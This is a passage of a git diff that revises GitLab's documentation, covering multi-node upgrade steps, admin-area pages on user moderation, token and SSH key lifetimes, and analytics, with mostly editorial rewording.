another, ensuring at least one node is always up to serve traffic. This is
required to ensure zero-downtime.
-Puma will enter a blackout period as part of the upgrade, during which they
-continue to accept connections but will mark their respective health check
+Puma enters a blackout period as part of the upgrade, during which nodes
+continue to accept connections but mark their respective health check
endpoints to be unhealthy. On seeing this, the load balancer should disconnect
them gracefully.
-Puma will restart only after completing all the currently processing requests.
+Puma restarts only after completing all the currently processing requests.
This ensures data and service integrity. Once they have restarted, the health
-check end points will be marked healthy.
+check end points are marked healthy.
The nodes must be updated in the following order to update an HA instance using
load balancer to latest GitLab version.
@@ -201,14 +201,14 @@ load balancer to latest GitLab version.
```shell
# Debian/Ubuntu
- sudo apt-get update && sudo apt-get install gitlab-ce
+ sudo apt-get update && sudo apt-get install gitlab-ee
# Centos/RHEL
- sudo yum install gitlab-ce
+ sudo yum install gitlab-ee
```
- If you are an Enterprise Edition user, replace `gitlab-ce` with
- `gitlab-ee` in the above command.
+ If you are a Community Edition user, replace `gitlab-ee` with
+ `gitlab-ce` in the above command.
1. Get the regular migrations and latest code in place. Before running this step,
the deploy node's `/etc/gitlab/gitlab.rb` configuration file must have
@@ -254,7 +254,7 @@ the application.
Before you update the main application you need to update Praefect.
Out of your Praefect nodes, pick one to be your Praefect deploy node.
-This is where you will install the new Omnibus package first and run
+This is where you install the new Omnibus package first and run
database migrations.
**Praefect deploy node**
@@ -277,13 +277,13 @@ database migrations.
```shell
# Debian/Ubuntu
- sudo apt-get update && sudo apt-get install gitlab-ce
+ sudo apt-get update && sudo apt-get install gitlab-ee
# Centos/RHEL
- sudo yum install gitlab-ce
+ sudo yum install gitlab-ee
```
- If you are an Enterprise Edition user, replace `gitlab-ce` with `gitlab-ee` in the above command.
+ If you are a Community Edition user, replace `gitlab-ee` with `gitlab-ce` in the above command.
- To apply the Praefect database migrations and restart Praefect, run:
@@ -296,10 +296,10 @@ database migrations.
- Update the GitLab package:
```shell
- sudo apt-get update && sudo apt-get install gitlab-ce
+ sudo apt-get update && sudo apt-get install gitlab-ee
```
- If you are an Enterprise Edition user, replace `gitlab-ce` with `gitlab-ee` in the above command.
+ If you are a Community Edition user, replace `gitlab-ee` with `gitlab-ce` in the above command.
- Ensure nodes are running the latest code:
@@ -330,13 +330,13 @@ node throughout the process.
```shell
# Debian/Ubuntu
- sudo apt-get update && sudo apt-get install gitlab-ce
+ sudo apt-get update && sudo apt-get install gitlab-ee
# Centos/RHEL
- sudo yum install gitlab-ce
+ sudo yum install gitlab-ee
```
- If you are an Enterprise Edition user, replace `gitlab-ce` with `gitlab-ee` in the above command.
+ If you are a Community Edition user, replace `gitlab-ee` with `gitlab-ce` in the above command.
- Ensure nodes are running the latest code
@@ -350,17 +350,17 @@ node throughout the process.
```shell
# Debian/Ubuntu
- sudo apt-get update && sudo apt-get install gitlab-ce
+ sudo apt-get update && sudo apt-get install gitlab-ee
# Centos/RHEL
- sudo yum install gitlab-ce
+ sudo yum install gitlab-ee
```
- If you are an Enterprise Edition user, replace `gitlab-ce` with `gitlab-ee` in the above command.
+ If you are a Community Edition user, replace `gitlab-ee` with `gitlab-ce` in the above command.
- If you're using PgBouncer:
- You'll need to bypass PgBouncer and connect directly to the database master
+ You need to bypass PgBouncer and connect directly to the database master
before running migrations.
Rails uses an advisory lock when attempting to run a migration to prevent
@@ -391,10 +391,10 @@ node throughout the process.
- Update the GitLab package
```shell
- sudo apt-get update && sudo apt-get install gitlab-ce
+ sudo apt-get update && sudo apt-get install gitlab-ee
```
- If you are an Enterprise Edition user, replace `gitlab-ce` with `gitlab-ee` in the above command.
+ If you are a Community Edition user, replace `gitlab-ee` with `gitlab-ce` in the above command.
- Ensure nodes are running the latest code
@@ -457,7 +457,7 @@ following command to get address of current Redis primary
```
- If your application node is running a version older than GitLab 12.7.0, you
- will have to run the underlying `redis-cli` command (which `get-redis-master`
+ have to run the underlying `redis-cli` command (which `get-redis-master`
command uses) to fetch information about the primary.
1. Get the address of one of the sentinel nodes specified as
@@ -653,7 +653,7 @@ setting `gitlab_rails['auto_migrate'] = false` in
This section describes the steps required to upgrade a multi-node / HA
deployment with Geo. Some steps must be performed on a particular node. This
-node will be known as the “deploy node†and is noted through the following
+node is known as the “deploy node†and is noted through the following
instructions.
Updates must be performed in the following order:
@@ -737,7 +737,7 @@ sudo touch /etc/gitlab/skip-auto-reconfigure
1. If you're using PgBouncer:
- You'll need to bypass PgBouncer and connect directly to the database master
+ You need to bypass PgBouncer and connect directly to the database master
before running migrations.
Rails uses an advisory lock when attempting to run a migration to prevent
diff --git a/doc/user/admin_area/analytics/dev_ops_report.md b/doc/user/admin_area/analytics/dev_ops_report.md
index 62fea3c266a..ede9e342a2e 100644
--- a/doc/user/admin_area/analytics/dev_ops_report.md
+++ b/doc/user/admin_area/analytics/dev_ops_report.md
@@ -20,11 +20,11 @@ To see DevOps Reports:
> [Renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) from Conversational Development Index in GitLab 12.6.
NOTE:
-To see the DevOps score, you must activate your GitLab instance's [Service Ping](../settings/usage_statistics.md#service-ping). This is because DevOps Score is a comparative tool, so your score data must be centrally processed by GitLab Inc. first.
+To see the DevOps score, you must activate your GitLab instance's [Service Ping](../settings/usage_statistics.md#service-ping). DevOps Score is a comparative tool, so your score data must be centrally processed by GitLab Inc. first.
You can use the DevOps score to compare your DevOps status to other organizations.
-The DevOps Score tab displays the usage of major GitLab features on your instance over
+The DevOps Score tab displays usage of major GitLab features on your instance over
the last 30 days, averaged over the number of billable users in that time period.
You can also see the Leader usage score, calculated from top-performing instances based on
[Service Ping data](../settings/usage_statistics.md#service-ping) that GitLab has collected.
@@ -47,29 +47,27 @@ feature is available.
> - Multi-select [added](https://gitlab.com/gitlab-org/gitlab/-/issues/333586) in GitLab 14.2.
> - Overview table [added](https://gitlab.com/gitlab-org/gitlab/-/issues/335638) in GitLab 14.3.
-DevOps Adoption shows you which groups in your organization are using the most essential features of GitLab:
-
-- Dev
- - Approvals
- - Code owners
- - Issues
- - Merge requests
-- Sec
- - DAST
- - Dependency Scanning
- - Fuzz Testing
- - SAST
-- Ops
- - Deployments
- - Pipelines
- - Runners
-
-To add or remove your groups, in the top right-hand section the page, select **Add or remove groups**.
-
-DevOps Adoption allows you to:
-
-- Verify whether you are getting the return on investment that you expected from GitLab.
-- Identify specific groups that are lagging in their adoption of GitLab, so you can help them along in their DevOps journey.
-- Find the groups that have adopted certain features, and can provide guidance to other groups on how to use those features.
+DevOps Adoption shows feature adoption for development, security, and operations.
+
+| Category | Feature |
+| --- | --- |
+| Development | Approvals<br>Code owners<br>Issues<br>Merge requests |
+| Security | DAST<br>Dependency Scanning<br>Fuzz Testing<br>SAST |
+| Operations | Deployments<br>Pipelines<br>Runners |
+
+You can use Group DevOps Adoption to:
+
+- Identify specific subgroups that are lagging in their adoption of GitLab features, so you can guide them on
+their DevOps journey.
+- Find subgroups that have adopted certain features, and provide guidance to other subgroups on
+how to use those features.
+- Verify if you are getting the return on investment that you expected from GitLab.
+
+## Add or remove a group
+
+To add or remove a subgroup from the DevOps Adoption report:
+
+1. Select **Add or remove groups**.
+1. Select the subgroup you want to add or remove and select **Save changes**.
![DevOps Adoption](img/admin_devops_adoption_v14_2.png)
diff --git a/doc/user/admin_area/analytics/usage_trends.md b/doc/user/admin_area/analytics/usage_trends.md
index 06995069215..7901d30c3ea 100644
--- a/doc/user/admin_area/analytics/usage_trends.md
+++ b/doc/user/admin_area/analytics/usage_trends.md
@@ -16,8 +16,11 @@ WARNING:
This feature might not be available to you. Check the **version history** note above for details.
Usage Trends gives you an overview of how much data your instance contains, and how quickly this volume is changing over time.
+Usage Trends data refreshes daily.
-To see Usage Trends:
+## View Usage Trends
+
+To view Usage Trends:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Analytics > Usage Trends**.
diff --git a/doc/user/admin_area/approving_users.md b/doc/user/admin_area/approving_users.md
deleted file mode 100644
index fdf0c7edfc7..00000000000
--- a/doc/user/admin_area/approving_users.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'moderate_users.md'
-remove_date: '2021-10-20'
----
-
-This document was moved to [another location](moderate_users.md).
-
-<!-- This redirect file can be deleted after <2021-10-20>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md
index 4de2397706b..b0f38e8cfb9 100644
--- a/doc/user/admin_area/index.md
+++ b/doc/user/admin_area/index.md
@@ -107,15 +107,16 @@ You can combine the filter options. For example, to list only public projects wi
1. Click the **Public** tab.
1. Enter `score` in the **Filter by name...** input box.
-#### Deleted projects **(PREMIUM SELF)**
+#### Projects pending deletion **(PREMIUM SELF)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37014) in GitLab 13.3.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37014) in GitLab 13.3.
+> - [Tab renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/347468) from **Deleted projects** in GitLab 14.7.
-When delayed project deletion is [enabled for a group](../group/index.md#enable-delayed-project-removal),
+When delayed project deletion is [enabled for a group](../group/index.md#enable-delayed-project-deletion),
projects within that group are not deleted immediately, but only after a delay. To access a list of all projects that are pending deletion:
1. On the top bar, select **Menu > Projects > Explore projects**.
-1. Select the **Deleted projects** tab.
+1. Select the **Pending deletion** tab (in GitLab 14.7 and later) or the **Deleted projects** tab (GitLab 14.6 and earlier).
Listed for each project is:
@@ -199,6 +200,7 @@ The following data is included in the export:
- Type
- Path
- Access level ([Project](../permissions.md#project-members-permissions) and [Group](../permissions.md#group-members-permissions))
+- Date of last activity ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345388) in GitLab 14.6). For a list of activities that populate this column, see the [Users API documentation](../../api/users.md#get-user-activities-admin-only).
![user permission export button](img/export_permissions_v13_11.png)
@@ -257,7 +259,7 @@ To [Create a new group](../group/index.md#create-a-group) click **New group**.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/340920) in GitLab 14.4.
-You can administer all [topics](../project/working_with_projects.md#explore-topics) in the
+You can administer all [topics](../project/working_with_projects.md#explore-topics) in the
GitLab instance from the Admin Area's Topics page.
To access the Topics page:
diff --git a/doc/user/admin_area/moderate_users.md b/doc/user/admin_area/moderate_users.md
index a98250dfc56..3f15bd5b4e6 100644
--- a/doc/user/admin_area/moderate_users.md
+++ b/doc/user/admin_area/moderate_users.md
@@ -53,7 +53,7 @@ To approve or reject a user sign up:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Overview > Users**.
1. Select the **Pending approval** tab.
-1. (Optional) Select a user.
+1. Optional. Select a user.
1. Select the **{settings}** **User administration** dropdown.
1. Select **Approve** or **Reject**.
@@ -77,7 +77,7 @@ by removing them in LDAP, or directly from the Admin Area. To do this:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Overview > Users**.
-1. (Optional) Select a user.
+1. Optional. Select a user.
1. Select the **{settings}** **User administration** dropdown.
1. Select **Block**.
@@ -101,7 +101,7 @@ A blocked user can be unblocked from the Admin Area. To do this:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Overview > Users**.
1. Select on the **Blocked** tab.
-1. (Optional) Select a user.
+1. Optional. Select a user.
1. Select the **{settings}** **User administration** dropdown.
1. Select **Unblock**.
@@ -145,7 +145,7 @@ A user can be deactivated from the Admin Area. To do this:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Overview > Users**.
-1. (Optional) Select a user.
+1. Optional. Select a user.
1. Select the **{settings}** **User administration** dropdown.
1. Select **Deactivate**.
@@ -185,7 +185,7 @@ To do this:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Overview > Users**.
1. Select the **Deactivated** tab.
-1. (Optional) Select a user.
+1. Optional. Select a user.
1. Select the **{settings}** **User administration** dropdown.
1. Select **Activate**.
@@ -211,7 +211,7 @@ Users can be banned using the Admin Area. To do this:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Overview > Users**.
-1. (Optional) Select a user.
+1. Optional. Select a user.
1. Select the **{settings}** **User administration** dropdown.
1. Select **Ban user**.
@@ -224,7 +224,7 @@ A banned user can be unbanned using the Admin Area. To do this:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Overview > Users**.
1. Select the **Banned** tab.
-1. (Optional) Select a user.
+1. Optional. Select a user.
1. Select the **{settings}** **User administration** dropdown.
1. Select **Unban user**.
diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md
index c511e85f3ce..5868f20d0d8 100644
--- a/doc/user/admin_area/settings/account_and_limit_settings.md
+++ b/doc/user/admin_area/settings/account_and_limit_settings.md
@@ -9,7 +9,12 @@ type: reference
## Default projects limit
-You can change the default maximum number of projects that users can create in their personal namespace:
+You can configure the default maximum number of projects new users can create in their
+personal namespace. This limit affects only new user accounts created after you change
+the setting. This setting is not retroactive for existing users, but you can separately edit
+the [project limits for existing users](#projects-limit-for-a-user).
+
+To configure the maximum number of projects in personal namespaces for new users:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Settings > General**, then expand **Account and limit**.
@@ -18,6 +23,17 @@ You can change the default maximum number of projects that users can create in t
If you set **Default projects limit** to 0, users are not allowed to create projects
in their users personal namespace. However, projects can still be created in a group.
+### Projects limit for a user
+
+You can edit a specific user, and change the maximum number of projects this user
+can create in their personal namespace:
+
+1. On the top bar, select **Menu > Admin**.
+1. On the left sidebar, select **Overview** > **Users**.
+1. From the list of users, select a user.
+1. Select **Edit**.
+1. Increase or decrease the **Projects limit** value.
+
## Max attachment size
You can change the maximum file size for attachments in comments and replies in GitLab:
@@ -59,21 +75,21 @@ If you choose a size larger than the configured value for the web server,
you may receive errors. See the [troubleshooting section](#troubleshooting) for more
details.
-## Personal Access Token prefix
+## Personal access token prefix
-> [Changed](https://gitlab.com/gitlab-org/gitlab/-/issues/342327) in GitLab 14.5. Default prefix added.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20968) in GitLab 13.7.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/342327) in GitLab 14.5, a default prefix.
-You can set a global prefix for all generated Personal Access Tokens.
+You can specify a prefix for personal access tokens. You might use a prefix
+to find tokens more quickly, or for use with automation tools.
-A prefix can help you identify PATs visually, as well as with automation tools.
+The default prefix is `glpat-` but administrators can change it.
-NOTE:
-For GitLab.com and self-managed instances, the default prefix is `glpat-`.
+[Project access tokens](../../project/settings/project_access_tokens.md) also inherit this prefix.
### Set a prefix
-Only a GitLab administrator can set the prefix, which is a global setting applied
-to any PAT generated in the system by any user:
+To change the default global prefix:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Settings > General**.
@@ -81,8 +97,8 @@ to any PAT generated in the system by any user:
1. Fill in the **Personal Access Token prefix** field.
1. Click **Save changes**.
-It is also possible to configure the prefix via the [settings API](../../../api/settings.md)
-using the `personal_access_token_prefix` field.
+You can also configure the prefix by using the
+[settings API](../../../api/settings.md).
## Repository size limit **(PREMIUM SELF)**
@@ -176,38 +192,46 @@ To set a limit on how long these sessions are valid:
1. Fill in the **Session duration for Git operations when 2FA is enabled (minutes)** field.
1. Click **Save changes**.
-## Limit the lifetime of personal access tokens **(ULTIMATE SELF)**
+## Limit the lifetime of SSH keys **(ULTIMATE SELF)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3649) in GitLab 12.6.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1007) in GitLab 14.6 [with a flag](../../../administration/feature_flags.md) named `ff_limit_ssh_key_lifetime`. Disabled by default.
+> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/346753) in GitLab 14.6.
+
+FLAG:
+On self-managed GitLab, by default this feature is available. To hide the feature,
+ask an administrator to [disable the feature flag](../../../administration/feature_flags.md) named `ff_limit_ssh_key_lifetime`.
+On GitLab.com, this feature is not available.
Users can optionally specify a lifetime for
-[personal access tokens](../../profile/personal_access_tokens.md).
+[SSH keys](../../../ssh/index.md).
This lifetime is not a requirement, and can be set to any arbitrary number of days.
-Personal access tokens are the only tokens needed for programmatic access to GitLab.
+SSH keys are user credentials to access GitLab.
However, organizations with security requirements may want to enforce more protection by
-requiring the regular rotation of these tokens.
+requiring the regular rotation of these keys.
### Set a lifetime
Only a GitLab administrator can set a lifetime. Leaving it empty means
there are no restrictions.
-To set a lifetime on how long personal access tokens are valid:
+To set a lifetime on how long SSH keys are valid:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Settings > General**.
1. Expand the **Account and limit** section.
-1. Fill in the **Maximum allowable lifetime for personal access tokens (days)** field.
+1. Fill in the **Maximum allowable lifetime for SSH keys (days)** field.
1. Click **Save changes**.
-Once a lifetime for personal access tokens is set, GitLab:
+Once a lifetime for SSH keys is set, GitLab:
-- Applies the lifetime for new personal access tokens, and require users to set an expiration date
- and a date no later than the allowed lifetime.
-- After three hours, revoke old tokens with no expiration date or with a lifetime longer than the
- allowed lifetime. Three hours is given to allow administrators to change the allowed lifetime,
- or remove it, before revocation takes place.
+- Requires users to set an expiration date that is no later than the allowed lifetime on new
+ SSH keys.
+- Applies the lifetime restriction to existing SSH keys. Keys with no expiry or a lifetime
+ greater than the maximum immediately become invalid.
+
+NOTE:
+When a user's SSH key becomes invalid they can delete and re-add the same key again.
## Allow expired SSH keys to be used **(ULTIMATE SELF)**
@@ -225,6 +249,39 @@ To allow the use of expired SSH keys:
Disabling SSH key expiration immediately enables all expired SSH keys.
+## Limit the lifetime of personal access tokens **(ULTIMATE SELF)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3649) in GitLab 12.6.
+
+Users can optionally specify a lifetime for
+[personal access tokens](../../profile/personal_access_tokens.md).
+This lifetime is not a requirement, and can be set to any arbitrary number of days.
+
+Personal access tokens are the only tokens needed for programmatic access to GitLab.
+However, organizations with security requirements may want to enforce more protection by
+requiring the regular rotation of these tokens.
+
+### Set a lifetime
+
+Only a GitLab administrator can set a lifetime. Leaving it empty means
+there are no restrictions.
+
+To set a lifetime on how long personal access tokens are valid:
+
+1. On the top bar, select **Menu > Admin**.
+1. On the left sidebar, select **Settings > General**.
+1. Expand the **Account and limit** section.
+1. Fill in the **Maximum allowable lifetime for personal access tokens (days)** field.
+1. Click **Save changes**.
+
+Once a lifetime for personal access tokens is set, GitLab:
+
+- Applies the lifetime for new personal access tokens, and require users to set an expiration date
+ and a date no later than the allowed lifetime.
+- After three hours, revoke old tokens with no expiration date or with a lifetime longer than the
+ allowed lifetime. Three hours is given to allow administrators to change the allowed lifetime,
+ or remove it, before revocation takes place.
+
## Allow expired Personal Access Tokens to be used **(ULTIMATE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214723) in GitLab 13.1.
diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md
index 565e905d732..c6ebce03b06 100644
--- a/doc/user/admin_area/settings/continuous_integration.md
+++ b/doc/user/admin_area/settings/continuous_integration.md
@@ -232,11 +232,10 @@ To enable or disable the banner:
## Required pipeline configuration **(PREMIUM SELF)**
-WARNING:
-This feature is being re-evaluated in favor of a different
-[compliance solution](https://gitlab.com/groups/gitlab-org/-/epics/3156).
-We recommend that users who haven't yet implemented this feature wait for
-the new solution.
+NOTE:
+An alternative [compliance solution](../../project/settings/index.md#compliance-pipeline-configuration)
+is available. We recommend this alternative solution because it provides greater flexibility,
+allowing required pipelines to be assigned to specific compliance framework labels.
You can set a [CI/CD template](../../../ci/examples/index.md#cicd-templates)
as a required pipeline configuration for all projects on a GitLab instance. You can
diff --git a/doc/user/admin_area/settings/files_api_rate_limits.md b/doc/user/admin_area/settings/files_api_rate_limits.md
index 4f0f50dbcd2..675561ce9cf 100644
--- a/doc/user/admin_area/settings/files_api_rate_limits.md
+++ b/doc/user/admin_area/settings/files_api_rate_limits.md
@@ -7,13 +7,8 @@ type: reference
# Files API rate limits **(FREE SELF)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68561) in GitLab 14.3.
-
-FLAG:
-On self-managed GitLab, by default this feature is not available. To make it
-available, ask an administrator to [enable the `files_api_throttling` flag](../../../administration/feature_flags.md).
-On GitLab.com, this feature is available but can be configured by GitLab.com
-administrators only. The feature is not ready for production use.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68561) in GitLab 14.3.
+> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75918) in GitLab 14.6. [Feature flag files_api_throttling](https://gitlab.com/gitlab-org/gitlab/-/issues/338903) removed.
The [Repository files API](../../../api/repository_files.md) enables you to
fetch, create, update, and delete files in your repository. To improve the security
@@ -29,10 +24,9 @@ the general user and IP rate limits for requests to the
and IP rate limits already in place, and increase or decrease the rate limits
for the Files API. No other new features are provided by this override.
-Prerequisites:
+Prerequisite:
- You must have the Administrator role for your instance.
-- The `files_api_throttling` feature flag must be enabled.
To override the general user and IP rate limits for requests to the Repository files API:
diff --git a/doc/user/admin_area/settings/gitaly_timeouts.md b/doc/user/admin_area/settings/gitaly_timeouts.md
index 5da43935052..fac23cb48af 100644
--- a/doc/user/admin_area/settings/gitaly_timeouts.md
+++ b/doc/user/admin_area/settings/gitaly_timeouts.md
@@ -22,6 +22,6 @@ The following timeouts are available.
| Timeout | Default | Description |
|:--------|:-----------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| Default | 55 seconds | Timeout for most Gitaly calls (not enforced for `git` `fetch` and `push` operations, or Sidekiq jobs). For example, checking if a repository exists on disk. Makes sure that Gitaly calls made within a web request cannot exceed the entire request timeout. It should be shorter than the worker timeout that can be configured for [Puma](../../../install/requirements.md#puma-settings). If a Gitaly call timeout exceeds the worker timeout, the remaining time from the worker timeout is used to avoid having to terminate the worker. |
+| Default | 55 seconds | Timeout for most Gitaly calls (not enforced for `git` `fetch` and `push` operations, or Sidekiq jobs). For example, checking if a repository exists on disk. Makes sure that Gitaly calls made within a web request cannot exceed the entire request timeout. It should be shorter than the [worker timeout](../../../administration/operations/puma.md#worker-timeout) that can be configured for [Puma](../../../install/requirements.md#puma-settings). If a Gitaly call timeout exceeds the worker timeout, the remaining time from the worker timeout is used to avoid having to terminate the worker. |
| Fast | 10 seconds | Timeout for fast Gitaly operations used within requests, sometimes multiple times. For example, checking if a repository exists on disk. If fast operations exceed this threshold, there may be a problem with a storage shard. Failing fast can help maintain the stability of the GitLab instance. |
| Medium | 30 seconds | Timeout for Gitaly operations that should be fast (possibly within requests) but preferably not used multiple times within a request. For example, loading blobs. Timeout that should be set between Default and Fast. |
diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md
index fd44d6445cf..1087f50b215 100644
--- a/doc/user/admin_area/settings/visibility_and_access_controls.md
+++ b/doc/user/admin_area/settings/visibility_and_access_controls.md
@@ -97,8 +97,8 @@ delete a project. To allow only users with the Administrator role to delete proj
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/255449) in GitLab 14.2 for groups created after August 12, 2021.
-Projects in a group (but not a personal namespace) can be deleted after a delayed period.
-You can [configure it in group settings](../../group/index.md#enable-delayed-project-removal).
+[Delayed project deletion](../../project/settings/index.md#delayed-project-deletion) allows projects in a group (not a personal namespace)
+to be deleted after a period of delay.
To enable delayed project deletion by default in new groups:
@@ -110,14 +110,13 @@ To enable delayed project deletion by default in new groups:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6.
By default, a project marked for deletion is permanently removed with immediate effect.
+See [delayed project deletion](../../project/settings/index.md#delayed-project-deletion) to learn more.
By default, a group marked for deletion is permanently removed after seven days.
WARNING:
The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to
[Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2.
-Projects in a group (but not a personal namespace) can be deleted after a delayed period, by
-[configuring in Group Settings](../../group/index.md#enable-delayed-project-removal).
The default period is seven days, and can be changed. Setting this period to `0` enables immediate removal
of projects or groups.
diff --git a/doc/user/analytics/ci_cd_analytics.md b/doc/user/analytics/ci_cd_analytics.md
index e949f968c2b..f083f886924 100644
--- a/doc/user/analytics/ci_cd_analytics.md
+++ b/doc/user/analytics/ci_cd_analytics.md
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/38318) to CI/CD Analytics in GitLab 12.8.
GitLab tracks the history of your pipeline successes and failures, as well as how long each pipeline
-ran. To view this information, go to **Analytics > CI/CD Analytics**.
+ran. To view this information for a project, go to **Analytics > CI/CD Analytics**.
View successful pipelines:
diff --git a/doc/user/analytics/img/product_analytics_commits_per_mr_v14_4.png b/doc/user/analytics/img/product_analytics_commits_per_mr_v14_4.png
index 649416c02c0..2bfde7beead 100644
--- a/doc/user/analytics/img/product_analytics_commits_per_mr_v14_4.png
+++ b/doc/user/analytics/img/product_analytics_commits_per_mr_v14_4.png
Binary files differ
diff --git a/doc/user/analytics/img/productivity_analytics_time_to_merge_v14_4.png b/doc/user/analytics/img/productivity_analytics_time_to_merge_v14_4.png
index b5d0dd4d2ea..0b30aff2c7a 100644
--- a/doc/user/analytics/img/productivity_analytics_time_to_merge_v14_4.png
+++ b/doc/user/analytics/img/productivity_analytics_time_to_merge_v14_4.png
Binary files differ
diff --git a/doc/user/analytics/img/productivity_analytics_trendline_v14_4.png b/doc/user/analytics/img/productivity_analytics_trendline_v14_4.png
index da5d3aec957..e0b3c54dee2 100644
--- a/doc/user/analytics/img/productivity_analytics_trendline_v14_4.png
+++ b/doc/user/analytics/img/productivity_analytics_trendline_v14_4.png
Binary files differ
diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md
index 0cc21e3f390..6a157dbb5ae 100644
--- a/doc/user/analytics/index.md
+++ b/doc/user/analytics/index.md
@@ -100,29 +100,29 @@ We use the following terms to describe GitLab analytics:
- All incidents are related to a [production environment](../../ci/environments/index.md#deployment-tier-of-environments).
- Incidents and deployments have a strictly one-to-one relationship (meaning any incident is related to only one production deployment, and any production deployment is related to no more than one incident).
-- **Lead time:** The duration of your value stream, from start to finish. Different to
-[Lead time for changes](#lead-time-for-changes). Often displayed in combination with "cycle time,"
-which is shorter. GitLab measures lead time from issue creation to issue close. GitLab displays lead
+- **Lead time:** The duration of your value stream, from start to finish. Different to
+[Lead time for changes](#lead-time-for-changes). Often displayed in combination with "cycle time,"
+which is shorter. GitLab measures lead time from issue creation to issue close. GitLab displays lead
time in [group-level Value Stream Analytics](../group/value_stream_analytics/index.md).
-- **Mean Time to Change (MTTC):** The average duration between idea and delivery. GitLab measures
+- **Mean Time to Change (MTTC):** The average duration between idea and delivery. GitLab measures
MTTC from issue creation to the issue's latest related merge request's deployment to production.
-- **Mean Time to Detect (MTTD):** The average duration that a bug goes undetected in production.
+- **Mean Time to Detect (MTTD):** The average duration that a bug goes undetected in production.
GitLab measures MTTD from deployment of bug to issue creation.
-- **Mean Time To Merge (MTTM):** The average lifespan of a merge request. GitLab measures MTTM from
-merge request creation to merge request merge (and closed/un-merged merge requests are excluded).
+- **Mean Time To Merge (MTTM):** The average lifespan of a merge request. GitLab measures MTTM from
+merge request creation to merge request merge (and closed/un-merged merge requests are excluded).
For more information, see [Merge Request Analytics](merge_request_analytics.md).
-- **Mean Time to Recover/Repair/Resolution/Resolve/Restore (MTTR):** The average duration that a bug
+- **Mean Time to Recover/Repair/Resolution/Resolve/Restore (MTTR):** The average duration that a bug
is not fixed in production. GitLab measures MTTR from deployment of bug to deployment of fix.
-- **Throughput:** The number of issues closed or merge requests merged (not closed) in a period of
+- **Throughput:** The number of issues closed or merge requests merged (not closed) in a period of
time. Often measured per sprint. GitLab displays merge request throughput in [Merge Request Analytics](merge_request_analytics.md).
-- **Value Stream:** The entire work process that is followed to deliver value to customers. For example,
-the [DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/) is a value stream that starts
+- **Value Stream:** The entire work process that is followed to deliver value to customers. For example,
+the [DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/) is a value stream that starts
with "plan" and ends with "monitor". GitLab helps you track your value stream using [Value Stream Analytics](value_stream_analytics.md).
-- **Velocity:** The total issue burden completed in some period of time. The burden is usually measured
-in points or weight, often per sprint. For example, your velocity may be "30 points per sprint". GitLab
+- **Velocity:** The total issue burden completed in some period of time. The burden is usually measured
+in points or weight, often per sprint. For example, your velocity may be "30 points per sprint". GitLab
measures velocity as the total points or weight of issues closed in a given period of time.
## Lead time for changes
-"Lead Time for Changes" differs from "Lead Time" because it "focuses on measuring only the time to
+"Lead Time for Changes" differs from "Lead Time" because it "focuses on measuring only the time to
deliver a feature once it has been developed", as described in ([Measuring DevOps Performance](https://devops.com/measuring-devops-performance/)).
diff --git a/doc/user/analytics/productivity_analytics.md b/doc/user/analytics/productivity_analytics.md
index da55a0f093c..e1ba2f5565e 100644
--- a/doc/user/analytics/productivity_analytics.md
+++ b/doc/user/analytics/productivity_analytics.md
@@ -34,14 +34,14 @@ Metrics and visualizations of **merged** merge requests are available on a proje
### Time to merge
-The **Time to merge** histogram shows the number of merge requests and the number
+The **Time to merge** histogram shows the number of merge requests and the number
of days it took to merge after creation. Select a column to filter subsequent charts.
